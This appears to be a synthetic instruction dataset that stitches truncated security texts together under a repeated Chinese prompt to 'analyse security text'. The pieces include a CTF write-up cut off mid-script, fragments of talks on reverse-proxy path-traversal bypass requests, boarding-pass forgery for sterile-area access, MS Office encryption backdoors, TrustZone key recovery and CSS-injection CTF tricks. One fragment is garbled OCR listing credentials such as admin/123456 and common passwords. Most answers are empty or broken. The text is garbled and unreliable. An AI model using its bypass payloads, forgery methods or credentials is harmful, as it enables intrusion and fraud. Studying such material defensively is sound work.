# CyberTank AutoPilot Miscellaneous ## Geo distance (100 points) > CyberTank's autopilot backup system is not responding. Can you respond to the backup system's distance calculation? > > Flag format: CTF{32-hex} A TCP server address was attached. Let's connect to it: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_AutoPilot# nc portal.hackazon.org 17001 __.---.___ ___/__\_O_/___\___ /___ __________ ___\ |===|\________/|===| _______|===|__________|===|______ CYBERTANK AutoPilot System [X] We are in Republic of Iceland [X] Current position: (-17.990612, 63.647031) [X] Navigating to: (-16.815328, 64.150291) [?] Distance (km): ``` Looks like we need to provide the distance between two coordinates. These coordinates look like longitude and latitude: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_AutoPilot# curl -s https://geocode.xyz/63.647031,-17.990612?json=1 | tr ',' '\n' | grep country "country" : "Iceland" ``` The country is Iceland like the server claimed. We can use a Python library like `geopy` to calculate the correct distance: ```python from pwn import * import geopy.distance import re def get_coordinates(line): match = re.search(r"[(]+\(([)]+), ([)]+)\)", line) if match: long = match.group(1) lat = match.group(2) return long, lat raise Exception("Can't find coordinates in '{}'".format(line)) def calculate_distance(lon1, lat1, lon2, lat2): distance = geopy.distance.distance((lon1, lat1), (lon2, lat2)).km return distance r = remote("portal.hackazon.org", 17001) r.recvuntil("CYBERTANK AutoPilot System\n\n\t\n") while True: line = r.recvline() if "CTF" in line: log.success(line) break else: location = line.replace("[X] We are in", "") log.info("Location: {}".format(location)) current_position = r.recvline() destination = r.recvline() long1, lat1 = get_coordinates(current_position) log.info("Current position: ({}, {})".format(long1, lat1)) long2, lat2 = get_coordinates(destination) log.info("Destination: ({}, {})".format(long2, lat2)) distance = calc


Instruction: 请分析这段安全相关的文本内容


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Reverse proxies & Inconsistency Aleksei "GreenDog" Tiurin About me  Web security fun  Security researcher at Acunetix  Pentester  Co-organizer Defcon Russia 7812  @antyurin "Reverse proxy" - Reverse proxy - Load balancer - Cache proxy -  - Back-end/Origin "Reverse proxy" URL http://www.site.com/long/path/here.php?query=111#fragment http://www.site.com/long/path;a=1?query=111#fragment + path parameters Parsing GET /long/path/here.php?query=111 HTTP/1.1 GET /long/path/here.php?query=111#fragment HTTP/1.1 GET anything_here HTTP/1.1 GET /index.php[0x..] HTTP/1.1 URL encoding % + two hexadecimal digits a -> %61 A -> %41 . -> %2e / -> %2f Path normalization /long/../path/here -> /path/here /long/./path/here -> /long/path/here /long//path/here -> /long//path/here -> /long/path/here /long/path/here/.. -> /long/path/ -> /long/path/here/.. Inconsistency - web server - language - framework - reverse proxy -  - + various configurations /images/1.jpg/..//../2.jpg -> /2.jpg (Nginx) -> /images/2.jpg (Apache) Reverse proxy - apply rule after preprocessing? /path1/ == /Path1/ == /p%61th1/ - send processed request or initial? /p%61th1/ -> /path1/ Reverse proxy Request - Route to endpoint /app/ - Rewrite path/query - Deny access - Headers modification - ... Response - Cache - Headers modification - Body modification - ... Location(path)-based Server side attacks We can send it: GET //test/../%2e%2e%2f<>.JpG?a1=&?z#/admin/ HTTP/1.1 Host: victim.com Client side attacks <img src=//test/../%2e%2e%2f<>.JpG?a1=&?z#/admin/> GET //..%2f%3C%3E.jpg?a1=%22&?z HTTP/1.1 Host: victim.com - Browser parses, decodes and normalizes. - Differences between browsers - Doesnt normalize %2f (/..%2f -> /..%2f) - <> " ' - URL-encoded - Multiple ? in query Possible attacks Server-side attacks: - Bypassing restriction (403 for /app/) - Misrouting/Access to other places (/app/..;/another/path/) Client-side attacks: - Misusing features (cache) - Misusing headers modification Nginx - urldecodes/normalizes/applies


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

My name is Yoshinori Takesako. It's very long name. so call me "Yoshi". I came from Tokyo, Japan. 1 I am a chairman of the SECCON. SECCON is a largest security CTF contest in Japan. I am an CTF organizer and a challenge creator. I am also on the Open Web Application Security Project - OWASP Japan advisory board. And I am the review board for the CODE BLUE which is a biggest international security conference in Japan. 2 In this year, About 2,500 people took part in the SECCON CTF qualifier from 58 countries around the world. We held the international SECCON CTF Final competition in this year at Tokyo, Japan. Finally, Korean hacker team had won. That was great. 3 I want to show the NIRVANA-KAI SECCON Customized Mk-II. This is a real time visualization system for attack and defense battle of CTF. This real time visualization system was developed by National Institute of Information and Communications Technology - NICT in Japan. 4 Okay, I talk about Backdooring MS Office documents with secret master keys. We made a lot of CTF challenges such as a XSS, reversing, pwn, cryptography at SECCON CTF project. when I created some cryptography challenges, I found this backdoor problem. Microsoft Office twenty ten or later version employ "Agile Encryption" algorithm in their OOX documents. We found a vulnerability in the file format specification that can allow an attacker to later decrypt strongly encrypted documents without the password. This is possible by tricking MS Office into creating an undetectable secret master key when it creates encrypted 5 documents. 5 Microsoft has standardized the OOX file format by ECMA international. It is not "Open Office" XML format, Open Office is a rival application for Microsoft. So Office Open" XML format is correct. You can see at the DOCX suffix from filename. And you know it is just a zip archive file. 6 However, when you encrypt a DOCX file, it will become an old classical DOC FILE format. This encrypted.DOCX file has a DOCX suffix. But


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

www.senseofsecurity.com.au  Sense of Security 2015 Page 1  8 August 2015 Compliance, Protection & Business Confidence Sense of Security Pty Ltd Sydney Level 8, 66 King Street Sydney NSW 2000 Australia Melbourne Level 10, 401 Docklands Drv Docklands VIC 3008 Australia T: 1300 922 923 T: +61 (0) 2 9290 4444 F: +61 (0) 2 9290 4455 info@senseofsecurity.com.au www.senseofsecurity.com.au ABN: 14 098 237 908 Sense of Security VoIP Security Testing Training Fatih Ozavci Christos Archimandritis 8 August 2015 www.senseofsecurity.com.au  Sense of Security 2015 Page 2  8 August 2015 Agenda  Network Infrastructure  VoIP Server Security  Signalling Security  Media Transport Security  Cloud VoIP Solutions Security  VoIP Client Security www.senseofsecurity.com.au  Sense of Security 2015 Page 3  8 August 2015 Introduction www.senseofsecurity.com.au  Sense of Security 2015 Page 4  8 August 2015 Trainers Background  Fatih Ozavci, Principal Security Consultant  Interests  VoIP & *Phreaking  Mobile Applications  Network Infrastructure  Embedded Devices  Hardware and IoT Hacking  Author of Viproy VoIP Penetration Testing Kit  Public Speaker and Trainer  Blackhat, Defcon, HITB, AusCert, Troopers, Ruxcon www.senseofsecurity.com.au  Sense of Security 2015 Page 5  8 August 2015 Trainers Background  Chris Archimandritis  Senior Security Consultant  Interests  VoIP and IMS Infrastructure  Mobile Applications  SAP Environment and Applications Security  Hardware Hacking  Network Infrastructure www.senseofsecurity.com.au  Sense of Security 2015 Page 6  8 August 2015 The Art of VoIP Hacking Test Lab www.senseofsecurity.com.au  Sense of Security 2015 Page 7  8 August 2015 The Art of VoIP Hacking Test Lab www.senseofsecurity.com.au  Sense of Security 2015 Page 8  8 August 2015 Current Threats and Attacker Skills General assumptions:  The VoIP Networks are isolated  Hacking VoIP requires detailed knowledge  Attacks target only privacy and toll fraud  Pretending VoIP services are configured well Real


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Curve12833227 (crypto, 150+37p, 12 solved) In the challenge we get [code](vuln.py) and the [result](flag.enc). What the code does is encrypt the flag using AES and the AES key is encrypted via a custom elliptic curve using generator point `(4,10)`. We don't get the curve equation, only the addition and multiplication functions, but we can easily derive the curve parameters from that. It's very simple to do from the point doubling part: ```python if u == w: m = (3*u*w + 4*u + 1) * i(v+x) ``` Of course since `u==w` then `3*u*w + 4*u + 1 = 3u2 + 4u + 1`. Doubling a point on an elliptic curve requires calculating a tangent to the curve in this point, which means calculating a first derivative. Since `3x2 + 4x + 1` is the derivative we can easily integrate it to get `x3 + 2x2 + x +C` as the curve equation. So we know that `y2 = x3 + 2x2 + x + C`. We also know that point `(4,10)` is on the curve, so we can apply this point to the curve to calculate `C = 100 - (64 + 2*16 + 4) = 0`. So finally the curve is `y2 = x3 + 2x2 + x = x(x2+2x+1) = x(x+1)2` The issue now is that this curve has a singularity in `(-1,0)`. We follow the approach similar to: https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp And we get the solution code: ```python p = 2128 - 33227 P.<x> = GF(p)[] f = x3 + 2*x2 + x P = (4, 10) Q = (104708042197107879674895393611622483404, 276453155315387771858614408885950682409) f_ = f.subs(x=x-1) print f_.factor() # 340282366920938463463374607431768178228 P_ = (P[0] +1, P[1]) Q_ = (Q[0] +1, Q[1]) t = GF(p)(340282366920938463463374607431768178228).square_root() u = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % p v = (Q_[1] + t*Q_[0])/(Q_[1] - t*Q_[0]) % p print v.log(u) ``` Which after a while gives us the discrete logarithm of `35996229751200732572713356533972460509`. With this we can decrypt the flag: ```python k = 35996229751200732572713356533972460509 aes = AES.new(long_to_bytes(k).ljust(16, '\0'), AES.MODE_CBC, '\0'*16) flag = "202bb05919b6f021d22a8b


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Hastad (crypto 400) ###ENG [PL](#pl-version) In the task we get the same unpadded message encrypted via RSA using 3 different public keys, but with the same exponent `e = 3`. This means we can utilize Hastad Broadcast Attack here to recover the message thanks to Chinese Reminder Theorem. The public exponent is 3 in all cases so what we have is in fact: ``` me = y1 mod n1 me = y2 mod n2 me = y3 mod n3 ``` From Chinese Reminder Theorem we know it's possible to recover `me`, and once we have it, we only need to get k-th integer root to get the flag: ```python from src.crypto_commons.generic import long_to_bytes from src.crypto_commons.rsa.rsa_commons import hastad_broadcast def main(): n1 = 95118357989037539883272168746004652872958890562445814301889866663072352421703264985997800660075311645555799745426868343365321502734736006248007902409628540578635925559742217480797487130202747020211452620743021097565113059392504472785227154824117231077844444672393221838192941390309312484066647007469668558141 n2 = 98364165919251246243846667323542318022804234833677924161175733253689581393607346667895298253718184273532268982060905629399628154981918712070241451494491161470827737146176316011843738943427121602324208773653180782732999422869439588198318422451697920640563880777385577064913983202033744281727004289781821019463 n3 = 68827940939353189613090392226898155021742772897822438483545021944215812146809318686510375724064888705296373853398955093076663323001380047857809774866390083434272781362447147441422207967577323769812896038816586757242130224524828935043187315579523412439309138816335569845470021720847405857361000537204746060031 c1 = 64830446708169012766414587327568812421130434817526089146190136796461298592071238930384707543318390292451118980302805512151790248989622269362958718228298427212630272525186478627299999847489018400624400671876697708952447638990802345587381905407236935494271436960764899006430941507608152322588169896193268212007 c2 = 969074907173443465884324916037223126942086603


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 计算机操作系统 - 设备管理  * [计算机操作系统 - 设备管理](#计算机操作系统---设备管理) * [磁盘结构](#磁盘结构) * [磁盘调度算法](#磁盘调度算法) * [1. 先来先服务](#1-先来先服务) * [2. 最短寻道时间优先](#2-最短寻道时间优先) * [3. 电梯算法](#3-电梯算法)  ## 磁盘结构 - 盘面Platter一个磁盘有多个盘面 - 磁道Track盘面上的圆形带状区域一个盘面可以有多个磁道 - 扇区Track Sector磁道上的一个弧段一个磁道可以有多个扇区它是最小的物理储存单位目前主要有 512 bytes 与 4 K 两种大小 - 磁头Head与盘面非常接近能够将盘面上的磁场转换为电信号读或者将电信号转换为盘面的磁场写 - 制动手臂Actuator arm用于在磁道之间移动磁头 - 主轴Spindle使整个盘面转动

 ## 磁盘调度算法 读写一个磁盘块的时间的影响因素有 - 旋转时间主轴转动盘面使得磁头移动到适当的扇区上 - 寻道时间制动手臂移动使得磁头移动到适当的磁道上 - 实际的数据传输时间 其中寻道时间最长因此磁盘调度的主要目标是使磁盘的平均寻道时间最短 ### 1. 先来先服务 > FCFS, First Come First Served 按照磁盘请求的顺序进行调度 优点是公平和简单缺点也很明显因为未对寻道做任何优化使平均寻道时间可能较长 ### 2. 最短寻道时间优先 > SSTF, Shortest Seek Time First 优先调度与当前磁头所在磁道距离最近的磁道 虽然平均寻道时间比较低但是不够公平如果新到达的磁道请求总是比一个在等待的磁道请求近那么在等待的磁道请求会一直等待下去也就是出现饥饿现象具体来说两端的磁道请求更容易出现饥饿现象

 ### 3. 电梯算法 > SCAN 电梯总是保持一个方向运行直到该方向没有请求为止然后改变运行方向 电梯算法扫描算法和电梯的运行过程类似总是按一个方向来进行磁盘调度直到该方向上没有未完成的磁盘请求然后改变方向 因为考虑了移动方向因此所有的磁盘请求都会被满足解决了 SSTF 的饥饿问题


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 参与者 && 致谢 有的同学向本项目提交过PR也有私下提交代码的这些人无法在contributors页面显示所以在这里进行致谢 Avatar | ID | Blog ---- | ---- | ---- [![phith0n](https://github.com/phith0n.png?size=40)](https://github.com/phith0n) | [phith0n](https://github.com/phith0n) | https://www.leavesongs.com/ [![stayliv3](https://github.com/stayliv3.png?size=40)](https://github.com/stayliv3) | [xd_xd](https://github.com/stayliv3) | http://xdxd.love/ [![neargle](https://github.com/neargle.png?size=40)](https://github.com/neargle) | [Neargle](https://github.com/neargle) | http://blog.neargle.com/ [![monburan](https://github.com/monburan.png?size=40)](https://github.com/monburan) | [monburan](https://github.com/monburan) | http://monburan.cn/ [![cbmixx](https://github.com/chaitin.png?size=40)](https://github.com/cbmixx) | [cbmixx](https://github.com/cbmixx) | (null) [![Y4nTsing](https://github.com/Y4nTsing.png?size=40)](https://github.com/Y4nTsing) | [Y4nTsing](https://github.com/Y4nTsing) | (null)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

How to get good seats in the security theater? Hacking boarding passes for fun and profit Przemek Jaroszewski przemj+defcon24@gmail.com $ whoami  head of the Polish national CSIRT (CERT Polska)  10+ years of education in programming  Masters degree in social psychology  15 years of experience in IT security  aviation enthusiast, unrealized air traffic controller Up in the Air  FF miles are nice, but status in nicer Except when improvements dont work IATA Resolution 792 (2005)  Paper  PDF417  Mobile  QR Code  Aztec  DataMatrix Bar-Coded Boarding Pass M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666C009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G Where did we get?  Free Fast Track for all travellers M1COLUMBUS/CHRISTOPHERE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1COLUMBUS/CHRISTOPHERE56YYYY WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G Where did we get?  Free Fast Track for all travelers => Sterile area access for all Wait, this is not news!  Bruce Schneier (2003): Flying On Someone Elses Airplaine Ticket  shows how to work around no fly lists with print-at-home BPs  Andy Bowers (2005): Dangerous Loophole in Airport Security  Bruce Schneier (2006): The Boarding Pass Brouhaha  Christopher Soghoian (2007): Insecure Flight: Broken Boarding Passes and Ineffective Terrorist Watch Lists  Jeffrey Goldberg (2008): The Things He Carried  Charles C. Mann (2011): Smoke Screening  John Butler (2012): Security Flaws in the TSA Pre-Check System and the Boarding Pass Check System No Fly List Bypass (in 2003)  Buy tickets under false name  Print your boarding pass at home  Create a copy of the boarding pass with your real name


Instruction: 请分析这段安全相关的文本内容


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Trust Dies in Darkness: Shedding Light on Samsungs TrustZone Cryptographic Design Alon Shakevsky, Eyal Ronen, Avishai Wool Extended paper: https://eprint.iacr.org/2022/208.pdf Tool + PoC: https://github.com/shakevsky/keybuster @shakevsky @eyalr0 yash@eng.tau.ac.il 3 academic researchers The leading Android Vendor What did we find? 2 High severity CVEs that affect over 100 million devices Recover keys that were encrypted by trusted hardware Designed using resources from Flaticon.com Agenda Introduction Background and motivation Keymaster TA Analysis Recovering hardware-protected keys Implications Breaking higher-level protocols Discussion Main takeaways from our research The need for Trusted Execution Environments (TEEs) Designed using resources from Flaticon.com The need for Trusted Execution Environments (TEEs) Designed using resources from Flaticon.com Proprietary TrustZone Operating Systems (TZOS) QSEE Kinibi TEEGRIS TZOS Vendors Black Box Designs Designed using resources from Flaticon.com Research questions 1. Do hardware-protected cryptographic keys remain secure even when the Normal World (Android) is compromised? Designed using resources from Flaticon.com Research questions 1. Do hardware-protected cryptographic keys remain secure even when the Normal World (Android) is compromised? 2. Do compromised hardware-protected keys break the security of various protocols that rely on them? Designed using resources from Flaticon.com ARM TrustZone - Attack Model Designed using resources from Flaticon.com ARM TrustZone - Attack Model Designed using resources from Flaticon.com ARM TrustZone - Attack Model Designed using resources from Flaticon.com Android Hardware-Backed Keystore Flow Designed using resources from Flaticon.com Android Keymaster TA in TrustZone Generate key B = wrap(key) B Request key generation Android Hardware-Backed Keystore Flow Designed using resources from Flaticon.com Android Keymaster TA in TrustZone Request attestation for B Generate key B = wrap


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# It's a kind of magic, SCA, 200pts > You managed to get a spare key fob for the car you like. However you want to duplicate it so that you can maintain your access to it. Through extensive reverse engineering, you figure out that the device accepts an input challenge performs AES-128 encryption (or decryption) and returns the response. It is also identified that the device operates on masked input and returns masked output. Extract the key so you can get free rides! > The device expects 18 bytes of input: the first byte should be either 0xAE (for encryption) or 0xAD (for decryption) followed by 16 bytes of data, followed by a newline. Ok, first SCA challenge. Having no experience in it, it was much harder than I thought. Especially that there is this "masking" twist. I desoldered all the capacitors from the board. I also powered it with AA batteries, positive connected to `Vin` pin, and negative to `GND` through a resistor (I think it was a 100Ohm one). Using RIGOL DS1052E and its USB interface, I collected a couple hundreds of power traces of the board encrypting random plaintexts. DS1052E can be setup to collect about one million of samples each time, with each sample being recorded every couple of nanoseconds (exact values depend on various circumstances). UART itself was set as trigger for the recording. The results looked promising: ![sca1](sca1.png) ![sca2](sca2.png) The ten rounds of AES are clearly visible, so that's good. I also collected ten traces of one plaintext, followed by ten traces of a second one. I found a certain place in the traces, in which the difference between both sets is clearly visible: ![sca3](sca3.png) This effect was visible only after smoothing and aligning of the traces. Using CPA attack on the first round's S-box, we were able to recover the value xored with plaintext before that Sub, that is `inmask  key`. Using this value to simulate the first round, we performed the same attack on the second round, this time recovering the secon


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### PCAP文件结构 一般来说,对于 `PCAP` 文件格式考察较少且通常都能借助于现成的工具如 `pcapfix` 直接修复这里大致介绍下几个常见的块详细可以翻看[Here](http://www.tcpdump.org/pcap/pcap.html) - Tools - [PcapFix Online](https://f00l.de/hacking/pcapfix.php) - [PcapFix](https://github.com/Rup0rt/pcapfix/tree/devel) 一般文件结构 ```shell 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Block Type | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Block Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Block Body / / /* variable length, aligned to 32 bits */ / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Block Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``` 目前所定义的常见块类型有 1. Section Header Block: it defines the most important characteristics of the capture file. 2. Interface Description Block: it defines the most important characteristics of the interface(s) used for capturing traffic. 3. Packet Block: it contains a single captured packet, or a portion of it. 4. Simple Packet Block: it contains a single captured packet, or a portion of it, with only a minimal set of information about it. 5. Name Resolution Block: it defines the mapping from numeric addresses present in the packet dump and the canonical name counterpart. 6. Capture Statistics Block: it defines how to store some statistical data (e.g. packet dropped, etc) which can be useful to undestand the conditions in which the capture has been made. ### PCAP 文件修复常见块 Section Header BlocK(文件头) Interface Description Block(接口描述) Packet Block(数据块) ### PCAP 文件修复中的Section Header BlocK(文件头) 必须存在,意味着文件的开始 ```shell 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Byte-Order Magic (0x1A2B3C4D) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Major Version(主版本号) | Minor Version(次版本号) | +-+


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

- 0. 1 1 2 3 (  lSIXe14BC 065  44Al Xe  X1  U  NA5  lrQ0 b  0iT  ku t  g vDm  H NP  lo dM  ax13 v  2n404  G 4  rZbla EAFm  ew  U8BAF  B88FPir  h1F 3E8FPi n  R88t R  rEF TNc  E3  T f  osd51.BEE E3  h2E9DEEw  RZ7FEBEED OW  1RkNC803  3EB8F6Dg0FED S 5 (3102r Ø9VS Ør3ai l(3102 032a99n l9lV 9tM ØescWo 0,33)Oe9 wO T() (3102 fd(3102 (3102fd 1 6 ()regT ØTP l,21110lT6 c,2,12 Øt lTcnDZoi6D DA6 7 9e Ø l89 Gy593C Ø l0)(, u)(,3 921K )(, 8 Tr Ø lsw,1 wybyinVe ,, Ø lac ws pm)2(10 9 10 https://www.ithome.com.tw/news/142729 5 Ø l 4Bn 63n Ø l 6 l un10 dG2 l 7 ) () l 0., 11 ()s ØT l2k01 rra Ø l( del 5V() 12 13 021 14 15 16 17 18 19   /   33#/0.//333/03 _ S a a : a S S S 20  VPD DRD  DD DN N D 21  icoeo Zi . 1  212 M ) (3aB h TcVODn nMHr 22 EVMtD tD RO RVI p V root/icatch99 report/8Jg0SR8K50 p V admin/123456 iF p 117.56.0.0 p 61.60.0.0 23 p p86A 24 ,CD 0 B0 0 ( 1)  ( 2 D D (D )D D E 44 144 365 315 113 981 17 0 106 532 4,981 679 6,298 B0 46 122 155 84 20 427 2 90 372 1,052 5,380 812 7,706 2157 6 6 *6 6 8 0 0 0 25 07943 26 0 9302 81 8 0 781 8 5 5o05o6e 1 //0 081 8 5 900 G0281 8 6C0o1 C 5 0e 1 C 808 1 8 5 107 01 8  09  I04lgC 27 2.1 5/ 5 .1 / 5 3.3/ 50IP 0C/ 5 50IP 0C/ 5 2.1 5/ 5 7. A3./ 5 3 3/ 09/ 5 0/ 5 0/ 5 6648.5.5 M S T B S iB ncP S T M 28  5D1B3 08 41B3 A92 56C 4 Aa123456 7 1qaz@WSX 8 asdf1234 9 P@ssw0rd B B B B 29 30 31 P-D ØP-D l()9 l50V9 lO0C 0 I01 2TA 9 32 t iP: o t O : e D aGr: e D C e bA : C S e l 72169098453: Ak e 33 34 Ø  4  4  4  a4 Ø  0% 20% 40% 60% 80% 100% 120% 54 55 56 57 58 59 510 511 512 513 514 515 516 5 / 35 36 37 ØA Ø Ø ØT T ØP P 38 39 WEAKNESSES SOLUTIONS 40 41 42 O O C 02 03 04 /T I 43 01 (       A  VS    NNV 44 (2/2) 4 2 1 4 3 3 4 3 3 45 (          46 4  13V75 60 ) (3 62 /5 P 1)(2 N 47 Ø l P l I /TAI Ø lP lSD P 48 Ø Ø48 Ø12449 Ø08 lA 49 Ø 3 ØN l0765PV p1 p76 5 p )(2 50 Ø64 Ø105438 51 ( Ø( ü) ü pV) pV) C 52 ØE ) ) 53 1  49  I ü ü8 ü37  0 ü ü  I  2  37  372 I ü ü5 ü 0 617 78 2 617 7 8 2 61 12 54 ( )( 55 37 ( ( ) ) I C 38 16    ) (  ) ( 56 57 B S National CERT Natio


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

大白话解释拟态安全 一前言 一千个读者有一千个哈姆雷特可能我有一些地方没有理解透彻和没有彻底明白所以对于我讲的 东西存在偏面或者不好地方欢迎指正但是不要骂我 各位师傅可能这几年都听过一些特别高大上的词语拟态安全内生安全...在我看来一开始可能以 为这是什么全新的技术全新的理念其实都是一些旧概念旧技术的衍生我们今天主要来讲的就是 拟态安全究竟是什么东西尽量使用能听得懂的话语来进行通俗易懂的解释 此外要注意的是拟态安全并没有开源或公开的设备或者说我这种菜鸡接触不到所以我只能根据 网上的公开的文章论文等资料进行阅读和理解进行云解答所以一定会存在理解误差的情况我会 把看到的文献论文 以caj或pdf的形式打包成压缩包贴在文章后面 二拟态是什么 拟态是生物学里面的概念即指一种生物在形态行为等特征上模拟另一种生物从而使一方或双方受 益的生态适应现象其实就是模拟模仿拟态听起来比较高大上如果有联想记忆好的师傅可能就已 经想到一个历史更为悠久的名词--蜜罐我觉得如果不能明白拟态是什么就把拟态当成蜜罐V2.0蜜 罐的延伸技术就好了 1起源 追溯一个事务的本质就要去理解其发展的过程和历史根据国内的论文显示拟态安全最早追溯于2013 年9月那么真的是如此吗 我们通过谷歌把时间限制在2013年8月30日之前 其实可以看到最早是可以追溯到2005年一篇来自中国台湾省国立交通大学的硕士论文这里给出链接 我随后也会打包以下开始有关引用链接做相同处理 https://ir.nctu.edu.tw/bitstream/11536/73946/1/759101.pdf 这是拟态攻击之入侵检测巴拉巴拉巴拉的 就是在写ids是怎么通过fork来进行防御的这和我们的拟态 防御没有关系跳过为了确认通读了全文顶- - 别的13年以前的拟态都是和我们要看的拟态无关那么拟态防御这个概念 在国外的相关技术是什么呢 Moving Target Defence, MTD叫做移动目标防御 译文截图直接跳过吧不用看感兴趣的自己google搜一下 出发点 移动防御的出发点和拟态的出发点是相似的 划重点了师傅们这有助于理解拟态安全的出发点现有的安全体系里面大部分严谨滑稽都是 基于指纹或者常说的特征来进行识别的是一种被挨打的方式大部分都是黑客组织们攻击成功比如 17010已经打了不知道多少年了才被后人所知所以现有的安全体系是无法面对零日漏洞的所以 什么拟态安全内生安全出发点就是为了增加未知的可利用的漏洞和故意设置的后门成本注意这 里是增加成本因为邬江兴院士也在论文里提及了这个点不可能保证系统的百分百安全就是为了恶 心黑客啊写到这里让我想到了宝塔 区别 移动目标防御对于后门不是特别关注主要关注自身内部未知漏洞攻击的防护原因联想一下棱 镜门再想想大量的后门都是谁写的2333 目前移动目标防御主要基于软件技术;拟态安全防御, 不仅仅基于软件, 而是基于拟态计算的软硬件 协同的技术共同特点还是动态化多样化随机化 相同点 相同的都是动态化多样化随机化的主动防御思想 2前提 首先要记住一个基准安全是服务于产品的所以拟态安全不能对用户的使用进行较大的影响 3实现 别的不提讲一些我觉得是重点的东西 硬件层面, 它的目标就是主动变化处理存储互联输入输出等方式让系统充满随机性 听起来好像好高大上就是什么地址分配随机化眼熟不2333指令随机化...就是让一些固定的 能让黑客容易且需要获取的东西变成多样化增加成本 这个其实现在的产品都在做- - 传 统的安全体系 拟态安全体系 拟态安全不是真的就是一个百分百全新的技术是结合现有的入侵检测蜜罐应急响应等等一起 做 说了这么多 拟态究竟是什么东西怎么实现的 那么在web层面上拟态的网络拓扑是怎么样的呢请看图注意这是来自2017年的论文可能有 新迭代 看出亮点了吗我们以前传统的网络架构可能就是客户端对应的一个服务端或者做了负载均衡的服 务端说错指正 拟态怎么做的 就是他在服务端做了几个流程第一个点就是 你的请求会随机交到后面的所有服务器处 理有服务器A 服务器B 服务器C他们的架构不同但是对于正常的用户请求他们返回的应该是一样 的比如 但是你这个老黑客就不同了你请求的是 这时候centos 或者ubuntu的服务器可能的确包含成功了但是winserver摇了摇头他们根本没有这个 文件所以包含没成功响应的内容是空的 这时候DDRV响应表决器看到怎么请求的结果不一样啊可能就会 把你这个请求给取消了或者响应正常的?include=头像.jpg 并且可能对执行了恶意请求的服务器进行还原 同理这些也可以应用到各种攻击手段中比如 你sql注入你注入的一开始探测到的是mysql结果后面的mssql orcale接收到你注入的mysql 指令根本不认识结果导致返回结果不一样而且别忘了前面说


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Cool Storage Service (Web, 357p, 7 solved) [PL](#pl-version) In the task we get access to a simple PHP-based file storage service. Initial setup seems like a classic XSS task, since we can provide admin with a link and he will visit it. However it seems we can provide only a link to this storage service, and the CSP header is: `Content-Security-Policy: default-src 'none'; style-src 'self'; img-src data: http:` This means we can't execute any JS, styles can be loaded only from the same domain and pictures can be loaded from data or from external server. We can use this service to store files, however `php, php3...` etc. extensions are blacklisted. The service claims that we can upload only pictures, but in reality the checks are not very strict, so for example prefix `GIF` can fool it, same as prepending PNG header. Once the file is uploaded we can view it, but it's loaded as `data` in base64 form. We can trigger an error by trying to view non-existing file, and this will tell us that our sandbox is at `/uploads/sha256(our_login)`, but when we try to access the file directly via `http://css.teaser.insomnihack.ch/uploads/...` we get `Direct access to uploaded files is only allowed from localhost`. This means that even if we could upload a `.php` file, we would probably not be able to execute it. In some places on the page we get `echo` on our inputs. For example searching for some filename, we get `Search results for : our text`. In most places html entities are escaped, but there are a couple of places where it's not the case: - In `view file` the filename is not escaped, so we can inject html there - In `user profile` inputs are not escaped and we can inject html there as well - In `login` screen there is a hidden input `redirect`, which is not escaped ![](inject.png) To wrap up what we already have: - CSP allows to load styles from the same domain - We can echo any input we want on the page - We can inject html tags - CSP allows to load images from external serve


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

